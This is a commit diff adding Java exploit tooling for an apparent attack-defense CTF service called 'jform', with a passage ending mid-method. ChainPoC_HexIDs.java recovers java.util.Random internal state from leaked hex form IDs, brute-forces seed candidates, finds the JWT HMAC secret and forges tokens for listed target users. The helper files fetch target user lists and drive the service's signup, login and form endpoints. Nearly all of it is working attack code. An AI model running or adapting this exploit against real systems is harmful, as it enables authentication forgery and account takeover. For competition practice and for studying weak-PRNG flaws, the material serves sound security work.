adding validated services? patching forcad_local.py
This commit is contained in:
62
OmCTF-2025/sploits/jform/AttackData.java
Normal file
62
OmCTF-2025/sploits/jform/AttackData.java
Normal file
@@ -0,0 +1,62 @@
|
||||
import java.net.URI;
|
||||
import java.net.http.HttpClient;
|
||||
import java.net.http.HttpRequest;
|
||||
import java.net.http.HttpResponse;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
public class AttackData {
|
||||
|
||||
public static List<Map<String, String>> getAttackData(String host, String attackDataUrl) throws Exception {
|
||||
HttpClient client = HttpClient.newHttpClient();
|
||||
HttpRequest request = HttpRequest.newBuilder()
|
||||
.uri(URI.create(attackDataUrl))
|
||||
.GET()
|
||||
.build();
|
||||
|
||||
HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
String responseBody = response.body();
|
||||
|
||||
return parseAttackData(responseBody, host, attackDataUrl);
|
||||
}
|
||||
|
||||
private static List<Map<String, String>> parseAttackData(String jsonResponse, String host, String attackDataUrl) {
|
||||
List<Map<String, String>> userData = new ArrayList<>();
|
||||
|
||||
String hostPattern = "\"" + Pattern.quote(host) + "\"\\s*:\\s*\\[([^\\]]+)\\]";
|
||||
Pattern pattern = Pattern.compile(hostPattern, Pattern.DOTALL);
|
||||
Matcher matcher = pattern.matcher(jsonResponse);
|
||||
|
||||
if (matcher.find()) {
|
||||
String arrayContent = matcher.group(1);
|
||||
|
||||
Pattern userPattern = Pattern.compile("\\{\\\\\"userId\\\\\":\\s*\\\\\"(\\d+)\\\\\",\\s*\\\\\"username\\\\\":\\s*\\\\\"([^\\\\\"]+)\\\\\"\\}");
|
||||
Matcher userMatcher = userPattern.matcher(arrayContent);
|
||||
|
||||
while (userMatcher.find()) {
|
||||
Map<String, String> user = new HashMap<>();
|
||||
user.put("userId", userMatcher.group(1));
|
||||
user.put("username", userMatcher.group(2));
|
||||
userData.add(user);
|
||||
}
|
||||
}
|
||||
|
||||
return userData;
|
||||
}
|
||||
|
||||
public static Map<String, String> getFirstUser(String host, String attackDataUrl) throws Exception {
|
||||
List<Map<String, String>> users = getAttackData(host, attackDataUrl);
|
||||
if (users.isEmpty()) {
|
||||
throw new Exception("No attack data found for host: " + host);
|
||||
}
|
||||
return users.get(0);
|
||||
}
|
||||
|
||||
public static List<Map<String, String>> getAllUsers(String host, String attackDataUrl) throws Exception {
|
||||
return getAttackData(host, attackDataUrl);
|
||||
}
|
||||
}
|
||||
376
OmCTF-2025/sploits/jform/ChainPoC_HexIDs.java
Normal file
376
OmCTF-2025/sploits/jform/ChainPoC_HexIDs.java
Normal file
@@ -0,0 +1,376 @@
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Random;
|
||||
import java.util.Base64;
|
||||
import javax.crypto.Mac;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.util.Map;
|
||||
import java.util.HashMap;
|
||||
|
||||
public class ChainPoC_HexIDs {
|
||||
static final long A = 0x5DEECE66DL;
|
||||
static final long C = 0xBL;
|
||||
static final long A_INV = 0xDFE05BCB1365L;
|
||||
|
||||
private static final long MULTIPLIER = 0x5DEECE66DL;
|
||||
private static final long ADDEND = 0xBL;
|
||||
private static final long MASK = (1L << 48) - 1;
|
||||
private static final long MULT_INV = 0xDFE05BCB1365L;
|
||||
|
||||
private static long nextSeed(long s) { return (s * MULTIPLIER + ADDEND) & MASK; }
|
||||
private static long prevSeed(long sp) { return (MULT_INV * ((sp - ADDEND) & MASK)) & MASK; }
|
||||
|
||||
static long nextState(long s) {
|
||||
return (s * A + C) & MASK;
|
||||
}
|
||||
|
||||
static long prevState(long s) {
|
||||
return (A_INV * ((s - C) & MASK)) & MASK;
|
||||
}
|
||||
|
||||
static long stateToSeedLow48(long state) {
|
||||
return (state ^ A) & MASK;
|
||||
}
|
||||
|
||||
static String toHex16(long v) {
|
||||
return String.format("%016x", v);
|
||||
}
|
||||
|
||||
static long fromHex(String hex) {
|
||||
return Long.parseUnsignedLong(hex, 16);
|
||||
}
|
||||
|
||||
static String hx64(long v) {
|
||||
return String.format("0x%016x", v);
|
||||
}
|
||||
|
||||
static String hx48(long v) {
|
||||
return String.format("0x%012x", v & MASK);
|
||||
}
|
||||
|
||||
static class FormSeed {
|
||||
final int seedInt;
|
||||
final long s0;
|
||||
|
||||
FormSeed(int i, long s) {
|
||||
seedInt = i;
|
||||
s0 = s;
|
||||
}
|
||||
}
|
||||
|
||||
static FormSeed recoverFormSeedFromNextLong(long out) {
|
||||
int lo = (int) out;
|
||||
int hi = (int) ((out - (long) lo) >>> 32);
|
||||
|
||||
long hiU = hi & 0xFFFFFFFFL;
|
||||
for (int b1 = 0; b1 < (1 << 16); b1++) {
|
||||
long s1 = ((hiU << 16) | (b1 & 0xFFFFL)) & MASK;
|
||||
long s2 = nextState(s1);
|
||||
if ((int) (s2 >>> 16) == lo) {
|
||||
long s0 = prevState(s1);
|
||||
long seedLow48 = stateToSeedLow48(s0);
|
||||
int seedInt = (int) (seedLow48 & 0xFFFFFFFFL);
|
||||
if (new Random(seedInt).nextLong() == out)
|
||||
return new FormSeed(seedInt, s0);
|
||||
}
|
||||
}
|
||||
|
||||
long loU = lo & 0xFFFFFFFFL;
|
||||
for (int b2 = 0; b2 < (1 << 16); b2++) {
|
||||
long s2 = ((loU << 16) | (b2 & 0xFFFFL)) & MASK;
|
||||
long s1 = prevState(s2);
|
||||
if ((int) (s1 >>> 16) == hi) {
|
||||
long s0 = prevState(s1);
|
||||
long seedLow48 = stateToSeedLow48(s0);
|
||||
int seedInt = (int) (seedLow48 & 0xFFFFFFFFL);
|
||||
if (new Random(seedInt).nextLong() == out)
|
||||
return new FormSeed(seedInt, s0);
|
||||
}
|
||||
}
|
||||
throw new IllegalStateException("no matching state for given nextLong()");
|
||||
}
|
||||
|
||||
static class IdProviderSeed {
|
||||
final long s0, s1, s2;
|
||||
|
||||
IdProviderSeed(long a, long b, long c) {
|
||||
s0 = a;
|
||||
s1 = b;
|
||||
s2 = c;
|
||||
}
|
||||
}
|
||||
|
||||
static IdProviderSeed reconstructIdProviderSeedFromTwoInts(int x0, int x1) {
|
||||
long u0 = x0 & 0xFFFFFFFFL, u1 = x1 & 0xFFFFFFFFL;
|
||||
for (int low16 = 0; low16 < (1 << 16); low16++) {
|
||||
long s1 = ((u0 << 16) | (low16 & 0xFFFFL)) & MASK;
|
||||
long s2 = nextState(s1);
|
||||
if (((int) (s2 >>> 16)) == (int) u1) {
|
||||
long s0 = prevState(s1);
|
||||
return new IdProviderSeed(s0, s1, s2);
|
||||
}
|
||||
}
|
||||
throw new IllegalStateException("values must be consecutive nextInt()");
|
||||
}
|
||||
|
||||
static List<long[]> candidatesFromL2low48(long L2_low48) {
|
||||
int y2 = (int) (L2_low48 & 0xFFFFFFFFL);
|
||||
int y1_low16 = (int) ((L2_low48 >>> 32) & 0xFFFFL);
|
||||
List<long[]> out = new ArrayList<>();
|
||||
for (int b2 = 0; b2 < (1 << 16); b2++) {
|
||||
long s2 = ((((long) y2) << 16) | (b2 & 0xFFFFL)) & MASK;
|
||||
long s1 = prevState(s2);
|
||||
if (((s1 >>> 16) & 0xFFFFL) == (y1_low16 & 0xFFFFL)) {
|
||||
long hi32 = (s1 >>> 16) & 0xFFFFFFFFL;
|
||||
long lo32 = (s2 >>> 16) & 0xFFFFFFFFL;
|
||||
long L2_full = (hi32 << 32) | lo32;
|
||||
long p2 = prevState(s1);
|
||||
long p1 = prevState(p2);
|
||||
long L1_full = (((p1 >>> 16) & 0xFFFFFFFFL) << 32) | ((p2 >>> 16) & 0xFFFFFFFFL);
|
||||
out.add(new long[] { L2_full, L1_full });
|
||||
}
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
private static int hiFromNextLong(long out) {
|
||||
int lo = (int) out;
|
||||
return (int) ((out - (long) lo) >>> 32);
|
||||
}
|
||||
|
||||
private static int loFromNextLong(long out) {
|
||||
return (int) out;
|
||||
}
|
||||
|
||||
static long makeNextLongFromStates(long s1, long s2) {
|
||||
return (((long) (int) (s1 >>> 16)) << 32) + (int) (s2 >>> 16);
|
||||
}
|
||||
|
||||
private static long makeNextLong(int hi, int lo) {
|
||||
return (((long) hi) << 32) + (long) lo;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
static List<long[]> bruteForceIdAndJWTSeedCandidates(long id_provider_seed_low48) {
|
||||
|
||||
System.out.println(hx64(id_provider_seed_low48));
|
||||
List<long[]> out = new ArrayList<>();
|
||||
|
||||
int y2 = (int) (id_provider_seed_low48 & 0xFFFFFFFFL);
|
||||
int y1_low16 = (int) ((id_provider_seed_low48 >>> 32) & 0xFFFFL);
|
||||
|
||||
for (int low16_s2 = 0; low16_s2 < (1 << 16); low16_s2++) {
|
||||
long s2 = ((((long) y2) << 16) | (low16_s2 & 0xFFFFL)) & MASK;
|
||||
long s1 = prevState(s2);
|
||||
|
||||
if (((s1 >>> 16) & 0xFFFFL) != (y1_low16 & 0xFFFFL) && ((s1 >>> 16) & 0xFFFFL) != ((y1_low16 & 0xFFFFL) + 1) && ((s1 >>> 16) & 0xFFFFL) != ((y1_low16 & 0xFFFFL) - 1)) continue;
|
||||
|
||||
System.out.println("passed s1: " + hx48(s1));
|
||||
|
||||
long L2_full = makeNextLongFromStates(s1, s2);
|
||||
long p2 = prevState(s1); long p1 = prevState(p2);
|
||||
long L1_full = makeNextLongFromStates(p1, p2);
|
||||
out.add(new long[] { L1_full, L2_full});
|
||||
|
||||
System.out.println("L2: " + hx64(L2_full));
|
||||
System.out.println("L1: " + hx64(L1_full));
|
||||
|
||||
s1 = ((s1 >>> 16) + 1) << 16;
|
||||
System.out.println("s1+: " + hx48(s1));
|
||||
|
||||
L2_full = makeNextLongFromStates(s1, s2);
|
||||
p2 = prevState(s1); p1 = prevState(p2);
|
||||
L1_full = makeNextLongFromStates(p1, p2);
|
||||
out.add(new long[] { L1_full, L2_full});
|
||||
|
||||
|
||||
s1 = ((s1 >>> 16) - 2) << 16;
|
||||
System.out.println("s1-: " + hx48(s1));
|
||||
|
||||
L2_full = makeNextLongFromStates(s1, s2);
|
||||
p2 = prevState(s1); p1 = prevState(p2);
|
||||
L1_full = makeNextLongFromStates(p1, p2);
|
||||
out.add(new long[] { L1_full, L2_full});
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
|
||||
|
||||
static byte[] longToBytes(long value) {
|
||||
return ByteBuffer.allocate(8).putLong(value).array();
|
||||
}
|
||||
|
||||
static byte[] expandKey(byte[] key8bytes) {
|
||||
byte[] expanded = new byte[32];
|
||||
for (int i = 0; i < 32; i++) {
|
||||
expanded[i] = key8bytes[i % 8];
|
||||
}
|
||||
return expanded;
|
||||
}
|
||||
|
||||
static boolean verifyJWT(String jwtToken, long jwtSecret) {
|
||||
try {
|
||||
String[] parts = jwtToken.split("\\.");
|
||||
if (parts.length != 3)
|
||||
return false;
|
||||
|
||||
String headerAndPayload = parts[0] + "." + parts[1];
|
||||
String actualSignature = parts[2];
|
||||
|
||||
byte[] keyData = longToBytes(jwtSecret);
|
||||
byte[] expandedKey = expandKey(keyData);
|
||||
|
||||
Mac mac = Mac.getInstance("HmacSHA256");
|
||||
SecretKeySpec keySpec = new SecretKeySpec(expandedKey, "HmacSHA256");
|
||||
mac.init(keySpec);
|
||||
byte[] signatureBytes = mac.doFinal(headerAndPayload.getBytes("UTF-8"));
|
||||
|
||||
String expectedSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);
|
||||
|
||||
return expectedSignature.equals(actualSignature);
|
||||
} catch (Exception e) {
|
||||
System.err.println("JWT verification error: " + e.getMessage());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
static String generateToken(String username, long jwtSecret) {
|
||||
try {
|
||||
String header = "{\"alg\":\"HS256\"}";
|
||||
String encodedHeader = Base64.getUrlEncoder().withoutPadding()
|
||||
.encodeToString(header.getBytes("UTF-8"));
|
||||
|
||||
long now = System.currentTimeMillis() / 1000;
|
||||
long exp = now + 86400;
|
||||
String payload = "{\"u\":\"" + username + "\",\"iat\":" + now + ",\"exp\":" + exp + "}";
|
||||
String encodedPayload = Base64.getUrlEncoder().withoutPadding()
|
||||
.encodeToString(payload.getBytes("UTF-8"));
|
||||
|
||||
String headerAndPayload = encodedHeader + "." + encodedPayload;
|
||||
byte[] keyData = longToBytes(jwtSecret);
|
||||
byte[] expandedKey = expandKey(keyData);
|
||||
|
||||
Mac mac = Mac.getInstance("HmacSHA256");
|
||||
SecretKeySpec keySpec = new SecretKeySpec(expandedKey, "HmacSHA256");
|
||||
mac.init(keySpec);
|
||||
byte[] signatureBytes = mac.doFinal(headerAndPayload.getBytes("UTF-8"));
|
||||
|
||||
String signature = Base64.getUrlEncoder().withoutPadding()
|
||||
.encodeToString(signatureBytes);
|
||||
|
||||
return headerAndPayload + "." + signature;
|
||||
} catch (Exception e) {
|
||||
System.err.println("JWT generation error: " + e.getMessage());
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static Map<String, String>[] exploit(long form_id, long known_user_id, String known_jwt, List<Map<String, String>> targetUsers, String form1, String form2) {
|
||||
|
||||
long dec1 = fromHex(form1);
|
||||
long dec2 = fromHex(form2);
|
||||
|
||||
System.out.println("dec1: " + hx64(dec1));
|
||||
System.out.println("dec2: " + hx64(dec2));
|
||||
|
||||
FormSeed form_seed_a = recoverFormSeedFromNextLong(dec1);
|
||||
FormSeed form_seed_b = recoverFormSeedFromNextLong(dec2);
|
||||
|
||||
int recN1 = form_seed_a.seedInt;
|
||||
int recN2 = form_seed_b.seedInt;
|
||||
|
||||
IdProviderSeed id_provider_seed = reconstructIdProviderSeedFromTwoInts(recN1, recN2);
|
||||
|
||||
|
||||
System.out.println("rolling back state n times: " + (form_id - 1));
|
||||
long rolledBackState = id_provider_seed.s0;
|
||||
for (int i = 0; i < form_id -1 ; i++) {
|
||||
rolledBackState = prevState(rolledBackState);
|
||||
}
|
||||
|
||||
long id_provider_seed_low48 = stateToSeedLow48(rolledBackState);
|
||||
|
||||
List<long[]> cands = bruteForceIdAndJWTSeedCandidates(id_provider_seed_low48);
|
||||
|
||||
System.out.println("cands: " + cands.size());
|
||||
|
||||
long id_seed = 0, jwt_seed = 0;
|
||||
Random jwt_random;
|
||||
boolean found = false;
|
||||
|
||||
for (long[] cand : cands) {
|
||||
jwt_seed = cand[0];
|
||||
id_seed = cand[1];
|
||||
|
||||
System.out.println("jwt seed: " + hx64(jwt_seed));
|
||||
System.out.println("id seed: " + hx64(id_seed));
|
||||
|
||||
long jwt_secret = 0;
|
||||
|
||||
jwt_random = new Random(jwt_seed);
|
||||
for (int i = 0; i < known_user_id; i++) {
|
||||
jwt_secret = jwt_random.nextLong();
|
||||
if (verifyJWT(known_jwt, jwt_secret)) {
|
||||
System.out.println("found jwt secret: " + hx64(jwt_secret));
|
||||
System.out.println("jwt secret: " + hx64(jwt_secret));
|
||||
System.out.println("jwt seed: " + hx64(jwt_seed));
|
||||
System.out.println("id seed: " + hx64(id_seed));
|
||||
found = true;
|
||||
break;
|
||||
} else {
|
||||
System.out.println("invalid jwt secret: " + hx64(jwt_secret));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (found) {
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if (jwt_seed == 0) {
|
||||
System.out.println("No valid jwt seed found");
|
||||
return null;
|
||||
}
|
||||
|
||||
System.out.println();
|
||||
System.out.println("[*] Recovered from two ints:");
|
||||
System.out.println("L2_low48(rec) = " + hx48(id_provider_seed_low48));
|
||||
System.out.println("L2_full(rec) = " + hx64(id_seed));
|
||||
System.out.println("L1_full(rec) = " + hx64(jwt_seed));
|
||||
System.out.println();
|
||||
|
||||
|
||||
|
||||
Map<String, String>[] jwts = new Map[targetUsers.size()];
|
||||
int index = 0;
|
||||
for (Map<String, String> user : targetUsers) {
|
||||
String username = user.get("username");
|
||||
long userId = Long.parseLong(user.get("userId"));
|
||||
|
||||
Random jwt_random1 = new Random(jwt_seed);
|
||||
long jwt_secret = 0;
|
||||
for (int i = 0; i < userId; i++) {
|
||||
jwt_secret = jwt_random1.nextLong();
|
||||
}
|
||||
System.out.println("jwt secret: " + hx64(jwt_secret));
|
||||
String jwt = generateToken(username, jwt_secret);
|
||||
System.out.println("jwt: " + jwt);
|
||||
|
||||
Map<String, String> jwtData = new HashMap<>();
|
||||
jwtData.put("jwt", jwt);
|
||||
jwtData.put("username", username);
|
||||
jwtData.put("userId", Long.toString(userId));
|
||||
jwts[index] = jwtData;
|
||||
index++;
|
||||
}
|
||||
return jwts;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
247
OmCTF-2025/sploits/jform/CheckLib.java
Normal file
247
OmCTF-2025/sploits/jform/CheckLib.java
Normal file
@@ -0,0 +1,247 @@
|
||||
import java.security.SecureRandom;
|
||||
import java.util.Random;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
import java.security.MessageDigest;
|
||||
|
||||
public class CheckLib {
|
||||
|
||||
private static final Random random = new Random();
|
||||
private static final SecureRandom secureRandom = new SecureRandom();
|
||||
|
||||
private static final String ALPHANUMERIC = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||
private static final String ALPHA_LOWER = "abcdefghijklmnopqrstuvwxyz";
|
||||
private static final String ALPHA_UPPER = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
private static final String NUMERIC = "0123456789";
|
||||
private static final String HEX = "0123456789abcdef";
|
||||
|
||||
public static String rndString(int length) {
|
||||
return rndAlphanumeric(length);
|
||||
}
|
||||
|
||||
public static String generateUsername() {
|
||||
return "user_" + timestampSec() + "_" + rndAlphaLower(6);
|
||||
}
|
||||
|
||||
public static String generateUsername(String prefix) {
|
||||
return prefix + "_" + timestampSec() + "_" + rndAlphaLower(6);
|
||||
}
|
||||
|
||||
public static String generatePassword() {
|
||||
return rndAlphanumeric(16);
|
||||
}
|
||||
|
||||
public static String generatePassword(int length) {
|
||||
return rndAlphanumeric(length);
|
||||
}
|
||||
|
||||
public static String rndAlphanumeric(int length) {
|
||||
return randomString(length, ALPHANUMERIC);
|
||||
}
|
||||
|
||||
public static String rndAlphaLower(int length) {
|
||||
return randomString(length, ALPHA_LOWER);
|
||||
}
|
||||
|
||||
public static String rndAlphaUpper(int length) {
|
||||
return randomString(length, ALPHA_UPPER);
|
||||
}
|
||||
|
||||
public static String rndNumeric(int length) {
|
||||
return randomString(length, NUMERIC);
|
||||
}
|
||||
|
||||
public static String rndHex(int length) {
|
||||
return randomString(length, HEX);
|
||||
}
|
||||
|
||||
public static String randomString(int length, String charset) {
|
||||
StringBuilder sb = new StringBuilder(length);
|
||||
for (int i = 0; i < length; i++) {
|
||||
sb.append(charset.charAt(random.nextInt(charset.length())));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static byte[] rndBytes(int length) {
|
||||
byte[] bytes = new byte[length];
|
||||
secureRandom.nextBytes(bytes);
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static byte[] rndBytesFast(int length) {
|
||||
byte[] bytes = new byte[length];
|
||||
random.nextBytes(bytes);
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static int rndInt(int min, int max) {
|
||||
return random.nextInt(max - min) + min;
|
||||
}
|
||||
|
||||
public static int rndInt(int max) {
|
||||
return random.nextInt(max);
|
||||
}
|
||||
|
||||
public static long rndLong() {
|
||||
return random.nextLong();
|
||||
}
|
||||
|
||||
public static String toHex(byte[] bytes) {
|
||||
StringBuilder sb = new StringBuilder(bytes.length * 2);
|
||||
for (byte b : bytes) {
|
||||
sb.append(String.format("%02x", b));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static byte[] fromHex(String hex) {
|
||||
int len = hex.length();
|
||||
byte[] data = new byte[len / 2];
|
||||
for (int i = 0; i < len; i += 2) {
|
||||
data[i / 2] = (byte) ((Character.digit(hex.charAt(i), 16) << 4)
|
||||
+ Character.digit(hex.charAt(i+1), 16));
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
public static String toBase64(byte[] bytes) {
|
||||
return Base64.getEncoder().encodeToString(bytes);
|
||||
}
|
||||
|
||||
public static String toBase64(String str) {
|
||||
return Base64.getEncoder().encodeToString(str.getBytes(StandardCharsets.UTF_8));
|
||||
}
|
||||
|
||||
public static byte[] fromBase64(String base64) {
|
||||
return Base64.getDecoder().decode(base64);
|
||||
}
|
||||
|
||||
public static String fromBase64String(String base64) {
|
||||
return new String(Base64.getDecoder().decode(base64), StandardCharsets.UTF_8);
|
||||
}
|
||||
|
||||
public static String toBase64Url(byte[] bytes) {
|
||||
return Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
|
||||
}
|
||||
|
||||
public static byte[] fromBase64Url(String base64) {
|
||||
return Base64.getUrlDecoder().decode(base64);
|
||||
}
|
||||
|
||||
public static String md5(String input) {
|
||||
return hash(input, "MD5");
|
||||
}
|
||||
|
||||
public static String sha1(String input) {
|
||||
return hash(input, "SHA-1");
|
||||
}
|
||||
|
||||
public static String sha256(String input) {
|
||||
return hash(input, "SHA-256");
|
||||
}
|
||||
|
||||
public static String hash(String input, String algorithm) {
|
||||
try {
|
||||
MessageDigest md = MessageDigest.getInstance(algorithm);
|
||||
byte[] hash = md.digest(input.getBytes(StandardCharsets.UTF_8));
|
||||
return toHex(hash);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Hash failed: " + e.getMessage(), e);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] hashBytes(byte[] input, String algorithm) {
|
||||
try {
|
||||
MessageDigest md = MessageDigest.getInstance(algorithm);
|
||||
return md.digest(input);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Hash failed: " + e.getMessage(), e);
|
||||
}
|
||||
}
|
||||
|
||||
public static long timestamp() {
|
||||
return System.currentTimeMillis();
|
||||
}
|
||||
|
||||
public static long timestampSec() {
|
||||
return System.currentTimeMillis() / 1000;
|
||||
}
|
||||
|
||||
public static void sleep(long ms) {
|
||||
try {
|
||||
Thread.sleep(ms);
|
||||
} catch (InterruptedException e) {
|
||||
Thread.currentThread().interrupt();
|
||||
}
|
||||
}
|
||||
|
||||
public static void sleepSec(long seconds) {
|
||||
sleep(seconds * 1000);
|
||||
}
|
||||
|
||||
public static String repeat(String str, int count) {
|
||||
return str.repeat(count);
|
||||
}
|
||||
|
||||
public static String padLeft(String str, int length, char padChar) {
|
||||
if (str.length() >= length) return str;
|
||||
return String.valueOf(padChar).repeat(length - str.length()) + str;
|
||||
}
|
||||
|
||||
public static String padRight(String str, int length, char padChar) {
|
||||
if (str.length() >= length) return str;
|
||||
return str + String.valueOf(padChar).repeat(length - str.length());
|
||||
}
|
||||
|
||||
public static void info(String msg) {
|
||||
System.out.println("[*] " + msg);
|
||||
}
|
||||
|
||||
public static void success(String msg) {
|
||||
System.out.println("[+] " + msg);
|
||||
}
|
||||
|
||||
public static void error(String msg) {
|
||||
System.out.println("[-] " + msg);
|
||||
}
|
||||
|
||||
public static void warn(String msg) {
|
||||
System.out.println("[!] " + msg);
|
||||
}
|
||||
|
||||
public static void debug(String msg) {
|
||||
System.out.println("[DEBUG] " + msg);
|
||||
}
|
||||
|
||||
public static void hexDump(byte[] data) {
|
||||
hexDump(data, 16);
|
||||
}
|
||||
|
||||
public static void hexDump(byte[] data, int bytesPerLine) {
|
||||
for (int i = 0; i < data.length; i += bytesPerLine) {
|
||||
System.out.printf("%08x: ", i);
|
||||
|
||||
for (int j = 0; j < bytesPerLine; j++) {
|
||||
if (i + j < data.length) {
|
||||
System.out.printf("%02x ", data[i + j]);
|
||||
} else {
|
||||
System.out.print(" ");
|
||||
}
|
||||
}
|
||||
|
||||
System.out.print(" | ");
|
||||
|
||||
for (int j = 0; j < bytesPerLine && i + j < data.length; j++) {
|
||||
byte b = data[i + j];
|
||||
if (b >= 32 && b < 127) {
|
||||
System.out.print((char) b);
|
||||
} else {
|
||||
System.out.print('.');
|
||||
}
|
||||
}
|
||||
|
||||
System.out.println();
|
||||
}
|
||||
}
|
||||
}
|
||||
387
OmCTF-2025/sploits/jform/ClientLib.java
Normal file
387
OmCTF-2025/sploits/jform/ClientLib.java
Normal file
@@ -0,0 +1,387 @@
|
||||
import java.net.URI;
|
||||
import java.net.http.HttpClient;
|
||||
import java.net.http.HttpRequest;
|
||||
import java.net.http.HttpResponse;
|
||||
import java.net.CookieManager;
|
||||
import java.net.HttpCookie;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.HashMap;
|
||||
import java.util.ArrayList;
|
||||
import java.util.regex.Pattern;
|
||||
import java.util.regex.Matcher;
|
||||
|
||||
public class ClientLib {
|
||||
private final String baseUrl;
|
||||
private final HttpClient httpClient;
|
||||
private final CookieManager cookieManager;
|
||||
|
||||
private String userId;
|
||||
private String username;
|
||||
private String authToken;
|
||||
|
||||
public ClientLib(String serviceUrl) {
|
||||
this.baseUrl = serviceUrl.endsWith("/") ? serviceUrl.substring(0, serviceUrl.length() - 1) : serviceUrl;
|
||||
this.cookieManager = new CookieManager();
|
||||
this.httpClient = HttpClient.newBuilder()
|
||||
.cookieHandler(cookieManager)
|
||||
.build();
|
||||
}
|
||||
|
||||
public Map<String, Object> registerUser(String username, String password) throws Exception {
|
||||
String body = "{\"username\":\"" + jsonEscape(username) + "\",\"password\":\"" + jsonEscape(password) + "\"}";
|
||||
|
||||
String response = post("/api/account/signup", body);
|
||||
Map<String, Object> result = parseJsonObject(response);
|
||||
|
||||
if (result.containsKey("success") && Boolean.TRUE.equals(result.get("success"))) {
|
||||
this.username = (String) result.get("username");
|
||||
Object userIdObj = result.get("userId");
|
||||
this.userId = String.valueOf(userIdObj);
|
||||
extractCookies();
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
public Map<String, Object> login(String username, String password) throws Exception {
|
||||
String body = "{\"username\":\"" + jsonEscape(username) + "\",\"password\":\"" + jsonEscape(password) + "\"}";
|
||||
|
||||
String response = post("/api/account/login", body);
|
||||
Map<String, Object> result = parseJsonObject(response);
|
||||
|
||||
if (result.containsKey("success") && Boolean.TRUE.equals(result.get("success"))) {
|
||||
this.username = (String) result.get("username");
|
||||
Object userIdObj = result.get("userId");
|
||||
this.userId = String.valueOf(userIdObj);
|
||||
extractCookies();
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
public Map<String, Object> getCurrentUser() throws Exception {
|
||||
String response = get("/api/account/me");
|
||||
return parseJsonObject(response);
|
||||
}
|
||||
|
||||
public Map<String, Object> logout() throws Exception {
|
||||
String response = post("/api/account/logout", "{}");
|
||||
Map<String, Object> result = parseJsonObject(response);
|
||||
|
||||
this.userId = null;
|
||||
this.username = null;
|
||||
this.authToken = null;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
public Map<String, Object> createForm(Map<String, Object> schema) throws Exception {
|
||||
String schemaJson = mapToJson(schema);
|
||||
String body = "{\"schema\":" + schemaJson + "}";
|
||||
|
||||
String response = post("/api/form/new", body);
|
||||
return parseJsonObject(response);
|
||||
}
|
||||
|
||||
public Map<String, Object> getForm(String formId) throws Exception {
|
||||
String response = get("/api/form/" + formId);
|
||||
return parseJsonObject(response);
|
||||
}
|
||||
|
||||
public Map<String, Object> updateForm(String formId, Map<String, Object> schema) throws Exception {
|
||||
String schemaJson = mapToJson(schema);
|
||||
String body = "{\"schema\":" + schemaJson + "}";
|
||||
|
||||
String response = put("/api/form/" + formId, body);
|
||||
return parseJsonObject(response);
|
||||
}
|
||||
|
||||
public Map<String, Object> submitFormResponse(String formId, Map<String, Object> payload) throws Exception {
|
||||
String payloadJson = mapToJson(payload);
|
||||
|
||||
String response = post("/api/form/" + formId + "/submit", payloadJson);
|
||||
return parseJsonObject(response);
|
||||
}
|
||||
|
||||
public List<Map<String, Object>> getMyForms() throws Exception {
|
||||
String response = get("/api/form/my-forms");
|
||||
return parseJsonArray(response);
|
||||
}
|
||||
|
||||
public List<String> getFormResults(String formId) throws Exception {
|
||||
String response = get("/api/form/" + formId + "/results");
|
||||
return parseStringArray(response);
|
||||
}
|
||||
|
||||
private String get(String endpoint) throws Exception {
|
||||
HttpRequest request = HttpRequest.newBuilder()
|
||||
.uri(URI.create(baseUrl + endpoint))
|
||||
.GET()
|
||||
.build();
|
||||
|
||||
HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
return response.body();
|
||||
}
|
||||
|
||||
private String post(String endpoint, String jsonBody) throws Exception {
|
||||
HttpRequest request = HttpRequest.newBuilder()
|
||||
.uri(URI.create(baseUrl + endpoint))
|
||||
.header("Content-Type", "application/json")
|
||||
.POST(HttpRequest.BodyPublishers.ofString(jsonBody))
|
||||
.build();
|
||||
|
||||
HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
return response.body();
|
||||
}
|
||||
|
||||
private String put(String endpoint, String jsonBody) throws Exception {
|
||||
HttpRequest request = HttpRequest.newBuilder()
|
||||
.uri(URI.create(baseUrl + endpoint))
|
||||
.header("Content-Type", "application/json")
|
||||
.PUT(HttpRequest.BodyPublishers.ofString(jsonBody))
|
||||
.build();
|
||||
|
||||
HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
return response.body();
|
||||
}
|
||||
|
||||
private void extractCookies() {
|
||||
List<HttpCookie> cookies = cookieManager.getCookieStore().getCookies();
|
||||
